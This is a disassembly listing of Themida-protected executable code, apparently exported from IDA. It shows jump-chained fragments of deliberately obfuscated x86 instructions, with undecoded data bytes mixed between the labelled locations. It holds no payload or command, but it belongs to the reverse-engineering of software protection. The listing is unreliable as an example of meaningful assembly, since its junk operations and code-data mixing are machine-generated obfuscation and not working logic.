		or	eax, 5AE3287h
		jmp	loc_56A811
; ---------------------------------------------------------------------------
		db 89h
		dd 0F8E92404h, 83000063h, 0E98104C4h, 3ED84169h, 0EC81E901h
		dd 4, 2ECFE9h, 26B45000h, 8058E688h, 0F02893C6h, 0FF5484E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CFB1:				; CODE XREF: Themida_:00572008j
		add	bl, al
		pop	eax
		add	bl, al
		sub	bl, 0F3h
		pop	eax
		jmp	loc_571C67
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89522404h, 4DB4E9E2h, 0A168FFFFh, 89000063h,	0E6892434h
		dd 4C681h, 0BD550000h, 4, 343CC681h, 0EE812F84h, 228E36C0h
		dd 0C681EE29h, 228E36C0h, 0FF8B00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CFF9:				; CODE XREF: Themida_:00564044j
		pop	edi
		sub	ecx, 4
		jmp	loc_5721B7
; ---------------------------------------------------------------------------
		db 0FEh, 0CCh, 0F6h
		dd 0B65266D4h, 66F4001Dh, 5124148Bh, 34CE9h, 0E9F20900h
		dd 0FFFF735Eh, 52243489h, 3038F9BAh, 0DD8EBE17h, 0D6013D6Eh
		dd 7743E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D036:				; CODE XREF: Themida_:0056DA97j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		inc	esi
		shl	esi, 4
		xor	esi, 1E3982B4h
		jmp	loc_56F69F
; ---------------------------------------------------------------------------
		db 87h
		dd 0F65C2414h, 0B60F66E1h, 4EC83CCh, 0E9241489h, 0FFFF67A8h
		dd 0E95B55BBh, 0B2C38170h, 2936913Dh, 40E9E9DFh, 0C3810000h
		dd 4, 0E904C383h, 0FFFF8D5Bh, 0C4EE815Dh, 813E5405h, 4ECh
		dd 24048900h, 0D2455BB8h, 5DEE2D66h, 11254A86h,	52204A16h
		dd 0A47094BAh, 5AD03125h, 21B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D0BD:				; CODE XREF: Themida_:0056A3E8j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	edx
		mov	edx, 53E3000Bh
		neg	edx
		jmp	loc_562224
; ---------------------------------------------------------------------------
		dw 8F5Bh
		dd 248B2404h, 66566624h, 22474FFh, 250BE9h, 0E0E95000h
		dd 0FFFFFF7Eh, 0E9042474h, 0FFFF544Dh, 41C968h,	24148900h
		dd 419EE9h, 0C8B5B00h, 0DFB0E924h, 0BE56FFFFh, 2, 2347C581h
		dd 0F50164E6h, 2347ED81h, 875E64E6h, 248B242Ch,	0BE0F6624h
		dd 0FFE951C8h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D12F:				; CODE XREF: Themida_:0056BAF7j
		mov	edi, [esp]
		jmp	loc_56F9D2
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA28E1EDh, 4AF36859h, 6AE90000h, 80000092h,	0E5C0F5E5h
		dd 0B7CD8008h, 28A0C580h, 2AE959EBh, 8B000085h,	0C483240Ch
		dd 6B3B6804h, 0C890000h
dword_56D168	dd 4B924h, 0EA810000h, 50E53E5Ah, 0C281CA01h, 50E53E5Ah
					; DATA XREF: Themida_:00567F75o
		dd 83240C8Bh, 0E95204C4h, 0FFFF44DFh
; ---------------------------------------------------------------------------


loc_56D188:				; CODE XREF: Themida_:00573582j
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56129B
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 6EAC108h, 5438B850h,	0C23110BDh, 5124048Bh, 97EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D1B5:				; CODE XREF: Themida_:00565B71j
		add	edi, ebp
		pop	ebp
		push	eax
		jmp	loc_5639D3
; ---------------------------------------------------------------------------


loc_56D1BE:				; CODE XREF: Themida_:00564D06j
		mov	[esp], cx
		jmp	loc_564239
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4B85000h, 29000000h, 1624E9C5h, 0C6810000h, 4
		dd 7BE1E956h, 0CF090000h, 0E9685059h, 58738C34h, 96D6F796h
		dd 906F4205h, 8BC72184h, 0C4812404h, 4,	1E97E781h, 0C7811649h
		dd 65F910B0h, 6677C781h, 0FA31918Bh, 83243C8Bh,	0C28104C4h
		dd 1D7DDF52h, 49BFC581h, 0CDE9362Eh
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D22F:				; CODE XREF: Themida_:00574D89j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5635E8
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B337035Fh, 7E0DED81h, 0FD2901E1h, 7E0DC581h, 0DFE901E1h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D25B:				; CODE XREF: Themida_:00572EE1j
		xor	[esp], ebp
		push	1FFBh
		mov	[esp], ebp
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_561364
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 81E38953h,	4C3h, 4C38300h
		dd 0FFE634E9h, 0E66851FFh, 59508851h, 51E2E981h, 0CF895088h
		dd 91C0E959h, 0C890000h, 3C76B924h, 0BB535A3Ch,	3DA02318h
		dd 79D9CB81h, 0F3816558h, 734E042Bh, 0FFC03EE9h, 0E9D189FFh
		dd 0FFFFBEBEh, 28B6664h, 76A668h, 24148900h, 301E9h, 48B6600h
		dd 2F266824h, 3C890000h, 565F5424h, 701968h, 24048900h
		dd 3F0B1EB8h, 2E8C12Eh,	2F961235h, 344E911h, 0EF800000h
		dd 0E9512CBAh, 0FFFFE4EEh
; ---------------------------------------------------------------------------


loc_56D310:				; CODE XREF: Themida_:00567614j
		xchg	ebx, [esp]
		pop	esp
		push	7A80h
		jmp	loc_5660DA
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 4359E900h, 0EA81FFFFh,	3A1967DAh, 0EC81FA01h
		dd 4, 0BF243C89h, 646C1110h, 547BB53h, 0D3F709C5h, 6108CB81h
		dd 0C38117ABh, 46F43E71h, 6ED0E381h, 0CB81309Ah, 7C71491Ah
		dd 9476E9h, 81E18900h, 4C1h, 2C18100h, 87000000h, 248B240Ch
		dd 53CCFE24h, 0FC0072B7h, 58E5305Bh, 3D6068h, 241C8900h
		dd 0FF4C79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D391:				; CODE XREF: Themida_:0056990Cj
		and	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	2A2Dh
		jmp	loc_56767E
; ---------------------------------------------------------------------------


loc_56D3A1:				; CODE XREF: Themida_:0056F06Dj
		xchg	eax, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_56CB03
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF512Fh, 5C24048Fh, 4C781h, 0C7810000h
		dd 2, 31243C33h, 3C33243Ch, 0F7665C24h,	5F13E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3DE:				; CODE XREF: Themida_:00563805j
		push	ecx
		mov	ecx, 3DEE7F4Eh
		jmp	loc_5647DF
; ---------------------------------------------------------------------------
		db 0B9h, 53h, 43h
		dd 0CD297B6Fh, 69EAE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3F6:				; CODE XREF: Themida_:00563E4Ej
		xchg	edx, [esp]
		jmp	loc_563FFA
; ---------------------------------------------------------------------------


loc_56D3FE:				; CODE XREF: Themida_:0056C736j
		push	esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		add	edx, 31CF605Eh
		add	edx, esi
		sub	edx, 31CF605Eh
		pop	esi
		jmp	loc_566B6C
; ---------------------------------------------------------------------------


loc_56D41D:				; CODE XREF: Themida_:00564169j
		mov	edi, 3E10737Ch
		add	ecx, edi
		pop	edi
		add	ecx, eax
		sub	ecx, 3E10737Ch
		jmp	loc_569DEB
; ---------------------------------------------------------------------------
		dw 0B60Fh
aHo@		db 'ÈhŽ@',0
		align 2
		dw 0A4E9h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D43F:				; CODE XREF: Themida_:0057675Cj
		push	esp
		pop	ebx
		jmp	loc_57406B
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 2685A00h, 89000053h, 0B8502434h, 79796309h, 0E99C0EBEh
		dd 58C629E6h, 7AE9EE31h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D46B:				; CODE XREF: Themida_:0056D8FFj
		jmp	loc_570607
; ---------------------------------------------------------------------------
		dd 8B243C87h, 4892424h,	776DE924h, 8EBF0000h, 1A3D437h
		dd 0FD315DEFh, 68243C8Bh, 3914h, 89243489h, 4C681E6h, 0E9000000h
		dd 0FFFFAC53h, 24048B66h, 0E902C483h, 0FFFFFE5Ah, 79EEBE56h
		dd 0CE816D71h, 0BFE0452h, 8106EEC1h, 942ED3C6h,	5EF02919h
		dd 60BEE9h, 0E8305A00h,	240C8B66h, 3002C483h, 0C0B60FC3h
		dd 0E987048Fh, 0FFFF9A34h
; ---------------------------------------------------------------------------


loc_56D4E0:				; CODE XREF: Themida_:005685ABj
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_5741F1
; ---------------------------------------------------------------------------


loc_56D4E9:				; CODE XREF: Themida_:00571016j
		pop	ebp
		or	ebx, 20CD22F6h
		add	ebx, 5A224403h
		jmp	loc_5731A9
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 0E9000000h, 0FFFFF660h, 48E9C301h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D50F:				; CODE XREF: Themida_:0056E9B7j
		add	esp, 4
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dw 8150h
		dd 177A242Ch, 18F434Ah,	177A0181h, 0C8B434Ah, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 582434FFh,	54A668h
		dd 0E6A4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D54E:				; CODE XREF: Themida_:00564CA2j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56F6AA
; ---------------------------------------------------------------------------
		dd 5966EB28h, 0FE8BB450h, 5B2AE9C4h, 0C89FFFFh,	52066824h
		dd 5359600Eh, 975EC5BBh, 7D196815h, 14890000h, 53B0E924h
		dd 0B050FFFFh, 2C340C96h, 2C6804B8h, 7E8C064h, 0FFC6F3E9h
		dd 2434FFFFh, 68242C8Bh, 5A45h,	0FFF51AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D5A9:				; CODE XREF: Themida_:00575A22j
		add	edi, 124115C6h
		push	3A57h
		mov	[esp], ebx
		mov	ebx, 2E2D3C86h
		xor	edi, ebx
		pop	ebx
		xor	edi, 0CFC25ACFh
		add	esi, edi
		pop	edi
		dec	esi
		xor	esi, 28C81DF4h
		add	edx, esi
		pop	esi
		add	edx, 4
		push	edx
		jmp	loc_566D8D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 0FFAB65E9h, 5AE95AFFh, 55000026h,	0DE2D8368h
		dd 242C8B4Ch, 0E904C483h, 6BEh,	2DD8F759h, 8B0CC94Bh, 48BC631h
		dd 4C48124h, 89000000h,	5F095EF3h, 0EAC4E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D61E:				; CODE XREF: Themida_:00571BB5j
		push	ebx
		mov	ebx, esp
		jmp	loc_570496
; ---------------------------------------------------------------------------


loc_56D626:				; CODE XREF: Themida_:0056E1AEj
		inc	edi
		or	edi, 5BDA34E7h
		add	edi, 733EAA2h
		mov	ebx, edi
		jmp	loc_56AD95
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 4EC8302h, 89242C89h,	0FB7DE9E5h, 0C689FFFFh,	0C3B85058h
		dd 2964336Bh, 6CA2E9C6h, 0E95C0000h, 0FFFFE816h, 0A5068h
		dd 24348900h, 0F7F2E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D66E:				; CODE XREF: Themida_:005725DBj
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	5BAFh
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_571C0A
; ---------------------------------------------------------------------------
		dw 0D089h
		dd 0FF5B61E9h, 0E68956FFh, 4C681h, 0EE830000h, 24348704h
		dd 2404895Ch, 0FF39EDE9h, 0F0015FFFh, 8124348Bh, 4C4h
		dd 4EC8100h, 89000000h,	74FF2404h, 8F580424h, 1CE92404h
		dd 8B00004Ah, 0C483240Ch, 246C0104h, 48B5D04h, 4C48124h
		dd 53000000h, 0FF917DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D6FD:				; CODE XREF: Themida_:0057493Dj
		mov	esi, 7AE52941h
		dec	esi
		xor	esi, 4F4F70F4h
		not	esi
		add	esi, 35AA59B9h
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ebx
		push	983h
		mov	[esp], edi
		push	1
		pop	edi
		push	680Eh
		mov	[esp], edi
		pop	ebx
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_562B16
; ---------------------------------------------------------------------------
		db 68h
		dd 4342799Dh, 8EF18159h, 0C1407F5Fh, 0E18108E9h, 5A6F7682h
		dd 5E5E981h, 0CB89BDD3h, 60F00559h, 0D801046Ch,	6C60F02Dh
		dd 0A03E904h, 0E9570000h, 190Dh, 75368505h, 253C2D55h
		dd 0ABE95AD1h, 8B000031h, 0B6682404h, 8900006Ch, 5A542414h
		dd 40568h, 243C8900h, 210868h, 24048900h, 915EA2B8h, 7014E95Ah
		dd 0BF57FFFFh, 31A0727Eh, 6BA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D7C9:				; CODE XREF: Themida_:0056BC72j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_572CC8
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C87BB53h, 8BBD604Ah, 29604A0Ch, 44815BDDh, 0AFC0424h
		dd 44813932h, 1C1A0424h, 5BE9608Ah, 88000039h, 6010E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D80E:				; CODE XREF: Themida_:0056425Bj
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 0A71799Ah
		xor	eax, 54EC6A35h
		neg	eax
		add	eax, 90B92FBEh
		add	esi, eax
		jmp	loc_56FA1C
; ---------------------------------------------------------------------------
		db 80h,	0E1h, 0F8h
		dd 0E980D1F6h, 0F0C980EDh, 8001E980h, 0CC2896E9h, 592434FFh
		dd 0E904C483h, 620Ch, 345D74BEh, 5EF12934h, 0FF4D55E9h
		dd 4EC83FFh, 56241489h,	7D023FBEh, 5EF2892Bh, 558B6851h
		dd 0E959244Ch, 0E6h, 24048B66h,	4EC81h,	2C890000h, 815D5424h
		dd 4C5h, 7AE95300h, 68000000h, 6DA7h, 0E9241C89h, 0FFFFDA83h
		dd 5504C483h, 596DBE56h, 90E90FA9h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D8B7:				; CODE XREF: Themida_:00570F34j
		pop	esi
		add	edx, edi
		jmp	loc_56BAFC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8950240Ch, 0F0B951E0h, 0E9690A42h, 0FFFFD241h
; ---------------------------------------------------------------------------


loc_56D8D0:				; CODE XREF: Themida_:00571CAFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, 7A385FA1h
		and	eax, ebx
		jmp	loc_57310D
; ---------------------------------------------------------------------------


loc_56D8F6:				; CODE XREF: Themida_:00574879j
		add	esp, 4
		add	esp, 4
		jmp	loc_56D46B
; ---------------------------------------------------------------------------
		dd 3EE7F381h, 0C3812D5Bh, 32A76214h, 0FFA660E9h, 0B951FFh
		dd 8112044Fh, 0D4C38E9h, 885EE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D926:				; CODE XREF: Themida_:00576337j
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 1B320405h
		sub	ecx, edx
		jmp	loc_56F831
; ---------------------------------------------------------------------------


loc_56D937:				; CODE XREF: Themida_:005742F7j
		pop	esi
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_5762F7
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 76BF7916h, 0FEE95D56h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D94F:				; CODE XREF: Themida_:00567527j
		pop	esp
		jmp	loc_568435
; ---------------------------------------------------------------------------


loc_56D955:				; CODE XREF: Themida_:0056DF3Dj
		mov	ebx, 445A1C3Fh
		sub	ebx, 0FFFFFFFFh
		dec	ebx
		jmp	loc_5647C4
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 0FF86E3E9h, 5F801FFh, 50934CA8h, 629FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D97A:				; CODE XREF: Themida_:0056A41Fj
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 0F448C3h
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_5685B0
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 71022DF6h, 99BD5541h, 0F71DB34Fh, 0B559E9D5h
		dd 77FFFFFFh, 59669D1Ch, 241CD366h, 3684E99Ch, 0D701FFFFh
		dd 32F7685Ah, 14E90000h, 0F7FFFFA5h, 7BBA52DFh,	0E9251275h
		dd 2153h
; ---------------------------------------------------------------------------


loc_56D9D8:				; CODE XREF: Themida_:00572228j
		neg	edi
		xchg	edi, esi
		add	esi, 311C0651h
		jmp	loc_56F0B4
; ---------------------------------------------------------------------------
		db 81h
		dd 0D6AD3EEEh, 0C0E9522Fh, 80FFFF90h, 48B53C3h,	0E0895024h
		dd 12DAE9h, 74E95900h, 87000078h, 248B242Ch, 24348924h
		dd 0EE7F7CBEh, 5D20E949h, 574FFFFFh, 0FF2404FFh, 815F2434h
		dd 4C4h, 1EF8100h, 0E97A641Ah, 0FFFF68AFh, 0D7BEE981h
		dd 0CF29FE1Fh, 5FE5E959h, 50660000h, 6229E99Ch,	1433FFFFh
		dd 24143124h, 5C241433h, 2768F1F7h, 89000044h, 9C502414h
		dd 0FF35DDE9h, 243C89FFh, 371A38BFh, 30CF8114h,	5225997Fh
		dd 0FFA888E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DA79:				; CODE XREF: Themida_:00563205j
		mov	esp, [esp]
		mov	esi, [esp]
		add	esp, 4
		push	5A51h
		mov	[esp], edi
		push	esi
		push	62FC2B25h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56D036
; ---------------------------------------------------------------------------
		dd 61CCBF57h, 0EF810CA7h, 0D0530621h, 0FFE494E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DAAD:				; CODE XREF: Themida_:0056F2CBj
		mov	ebx, 56B721E2h
		add	ebx, 27901BBFh
		jmp	loc_5687C1
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5650D8
; ---------------------------------------------------------------------------
		dw 483h
		dd 815E0424h, 4C6h, 7150E900h, 0E954FFFFh, 597h, 1870E958h
		dd 0DD290000h, 83241C8Bh, 0A2E904C4h, 81000088h, 4C4h
		dd 24048B00h, 4C481h, 0F7810000h, 31EC335Ah, 625F781h
		dd 52E917A3h, 54FFFFA0h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 78BE2434h, 57429B68h, 43297EBFh, 8E7C12Fh, 0E9D7F74Fh
		dd 24A0h, 5324348Bh, 0C381E389h, 4, 0FFF179E9h,	1C77FFFFh
		dd 1058669Dh, 0E99C2404h, 0FFFF7F89h, 6ECCBB53h, 5C0146B7h
		dd 8B5B0824h, 18E9240Ch, 5FFFF74h, 223C7E0Ah, 21E2BA52h
		dd 0D02930E6h, 241C8B5Ah, 8304C483h, 348904ECh,	3685BE24h
		dd 15E95575h, 31FFFF4Eh, 0FD015BDFh, 83243C8Bh,	57E904C4h
		dd 66000085h, 0D8005959h, 1C8B4404h, 4C48324h, 3C6E68h
		dd 241C8900h, 6852F9B3h, 3F85h,	51240489h, 0CC8807B1h
		dd 0FF99C5E9h, 240489FFh, 60D2BA52h, 98E92253h,	5D00004Dh
		dd 0FFE5E981h, 0C829DA07h, 592434FFh, 86868h, 6118E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DBF6:				; CODE XREF: Themida_:0056E40Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56B55C
; ---------------------------------------------------------------------------


loc_56DC04:				; CODE XREF: Themida_:00565896j
		add	edi, 27FC3733h
		pop	ebp
		jmp	loc_56E4EA
; ---------------------------------------------------------------------------
		dd 97AB951h, 7EBE1F44h,	0E91F4409h, 0FFFF4059h,	0BB5171B8h
		dd 5175BF79h, 5E979BBh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DC2F:				; CODE XREF: Themida_:0056E5B8j
		push	edi
		mov	edi, 5E4F7F95h
		sub	edi, 5E4F7F91h
		add	edx, edi
		pop	edi
		add	edx, 4
		push	5D40h
		jmp	loc_57562B
; ---------------------------------------------------------------------------
		db 50h
		dd 88BFB353h, 0AEE95BDCh, 89FFFFF3h, 4C581E5h, 81000000h
		dd 4C5h, 242C3300h, 33242C31h, 248B242Ch, 335E6824h, 0CDE90000h
		dd 5100006Eh, 3DA268h, 2C5EE900h, 0C4810000h, 4, 0DB568h
		dd 241C8900h, 526646B7h, 77B55166h, 5966EA88h, 5A66D708h
		dd 0B252C7FEh, 0D6F280D2h, 44EF80h, 44C780D7h, 0CCF7805Ah
		dd 12AEE951h, 0ED810000h, 0BFE1763h, 0E957DDF7h, 49C6h
		dd 7EE9E589h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCD3:				; CODE XREF: Themida_:0056F484j
		add	eax, ebx
		push	479Ah
		mov	[esp], ebx
		jmp	loc_56F23D
; ---------------------------------------------------------------------------
		dw 0F755h
		dd 875D2414h, 35F681EEh, 12AEB67h, 1C875EF3h, 6FE95C24h
		dd 2DFFFFDBh, 4, 2474FF50h, 48F5804h, 0C895C24h, 2474FF24h
		dd 2434FF04h, 81240C8Bh, 4C4h, 15336800h, 0B4E90000h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DD27:				; CODE XREF: Themida_:0056DEABj
		add	ah, 0BCh
		sub	ah, bl
		sub	ah, 0BCh
		pop	ebx
		push	601Ch
		mov	[esp], ebx
		mov	bh, ah
		jmp	loc_57649B
; ---------------------------------------------------------------------------
		db 49h
		dd 27E18141h, 415B7C4Ch, 0FFFCE7E9h, 0E9D101FFh, 0FFFF4DB0h
		dd 0BA52E389h, 73C2538Dh, 0F281E2D1h, 0E784A71Eh, 0FF6689E9h
		dd 5AD331FFh, 0FFF73BE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
		dd 0AAC6815Ch, 0E92D0549h, 0FFFF55AFh, 1C281h, 6FE90000h
		dd 81FFFF5Ch, 60742CCBh, 4EC813Ch, 89000000h, 7DBA2414h
		dd 4200C33Dh, 4DCA814Ah, 42541E12h, 0D725EA81h,	0C8E9E3C7h
		dd 66FFFFB6h, 66626B68h, 68241489h, 16CFh, 68240C89h, 45ADh
		dd 0E9241489h, 0FFFFE742h
; ---------------------------------------------------------------------------


loc_56DDDC:				; CODE XREF: Themida_:0057692Fj
		push	ecx
		jmp	loc_5735AF
; ---------------------------------------------------------------------------


loc_56DDE2:				; CODE XREF: Themida_:00571423j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_570D01
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD55E6h, 1000000h, 0BF575DEEh, 4, 41E9FE29h, 8100002Bh
		dd 4C7h, 3C246800h, 34890000h, 0E9575324h, 30CFh
; ---------------------------------------------------------------------------


loc_56DE1C:				; CODE XREF: Themida_:005763ACj
		add	ecx, 1DF87118h
		add	ecx, ebp
		sub	ecx, 1DF87118h
		pop	ebp
		add	ebx, ecx
		pop	ecx
		add	ebx, 1
		jmp	loc_569AB7
; ---------------------------------------------------------------------------
		dw 1C8Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56707F
; ---------------------------------------------------------------------------


loc_56DE4A:				; CODE XREF: Themida_:0056836Cj
		push	esp
		pop	esi
		jmp	loc_56643D
; ---------------------------------------------------------------------------


loc_56DE51:				; CODE XREF: Themida_:0056C519j
		mov	ebx, [esp]
		add	esp, 4
		push	71FEh
		mov	[esp], ebp
		push	10h
		mov	ebp, [esp]
		jmp	loc_569906
; ---------------------------------------------------------------------------


loc_56DE6F:				; CODE XREF: Themida_:00561F71j
		push	1676h
		mov	[esp], eax
		mov	eax, 4B65724h
		sub	esi, 0ADE3B1Eh
		push	ecx
		mov	ecx, 4F50405h
		inc	ecx
		shr	ecx, 2
		jmp	loc_57538E
; ---------------------------------------------------------------------------
		db 20h,	0F0h, 0E9h
		dd 0FFFF5F8Fh, 315FF989h, 240C8BC8h, 0E904C483h, 0FFFFD362h
; ---------------------------------------------------------------------------


loc_56DEA8:				; CODE XREF: Themida_:00564C4Ej
		add	bl, 0EBh
		jmp	loc_56DD27
; ---------------------------------------------------------------------------


loc_56DEB0:				; CODE XREF: Themida_:00564FEBj
		mov	[esp], ebx
		mov	ebx, 54E50A99h
		jmp	loc_570217
; ---------------------------------------------------------------------------


loc_56DEBD:				; CODE XREF: Themida_:0056ABE5j
		add	ebx, 411D5B23h
		push	esi
		mov	esi, 768D7F8Dh
		jmp	loc_5689EE
; ---------------------------------------------------------------------------
		dw 8150h
		dd 1D0F242Ch, 815A14B9h, 0B91D0FC2h, 24048B14h,	4C481h
		dd 0BF570000h, 11A95E97h, 15FFA01h, 3389E9C2h, 0EF810000h
		dd 0ECD52329h, 875FF801h, 5C2404h, 0E99C2404h, 0FFFF3136h
		dd 0F681E6D1h, 1080250h, 835EF301h, 1C3304C3h, 818AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DF22:				; CODE XREF: Themida_:0056C9F6j
		pop	ebp
		add	ebx, 2A593514h
		add	ebx, eax
		push	16B2h
		mov	[esp], edx
		push	esi
		mov	esi, 7CA94EBAh
		not	esi
		push	edx
		push	ebx
		jmp	loc_56D955
; ---------------------------------------------------------------------------


loc_56DF42:				; CODE XREF: Themida_:0057564Dj
		add	dword ptr [esp+4], 160B32DDh
		jmp	loc_56ACAA
; ---------------------------------------------------------------------------
		db 89h
		dd 88532414h, 5BFA88EFh, 4EC81h, 0C890000h, 0D4885024h
		dd 48BE188h, 4C48324h, 2EEEE9h,	241C8B00h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	2EE9241Ch, 83FFFF9Bh, 0C8904ECh
		dd 6E74B924h, 0CF3168F2h, 0DF314759h, 0DF31FB31h, 503DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56DFA5:				; CODE XREF: Themida_:00575F4Bj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3585h
		mov	[esp], ebp
		push	3200h
		mov	[esp], edx
		jmp	loc_565413
; ---------------------------------------------------------------------------
		db 68h,	50h, 10h
		dd 97E90000h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DFD7:				; CODE XREF: Themida_:00566D12j
		mov	[esp], edx
		mov	dl, al
		push	ebx
		mov	bl, dl
		mov	cl, bl
		pop	ebx
		pop	edx
		push	ebx
		push	edx
		sub	esp, 4
		jmp	loc_568085
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0F6h
aOsR		db ']šOé!R',0
		align 4


loc_56DFF8:				; CODE XREF: Themida_:00571C7Cj
		pop	eax
		jmp	loc_564C75
; ---------------------------------------------------------------------------


loc_56DFFE:				; CODE XREF: Themida_:00573BA4j
		mov	edi, 25B25B1Ah
		sub	edi, 25B2531Ah
		push	edi
		push	edi
		mov	edi, 40BE41FDh
		xor	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ebx, 40BE41FDh
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_574A30
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 89000000h, 24148BD7h, 4C481h, 0FD010000h, 0FF93B5E9h
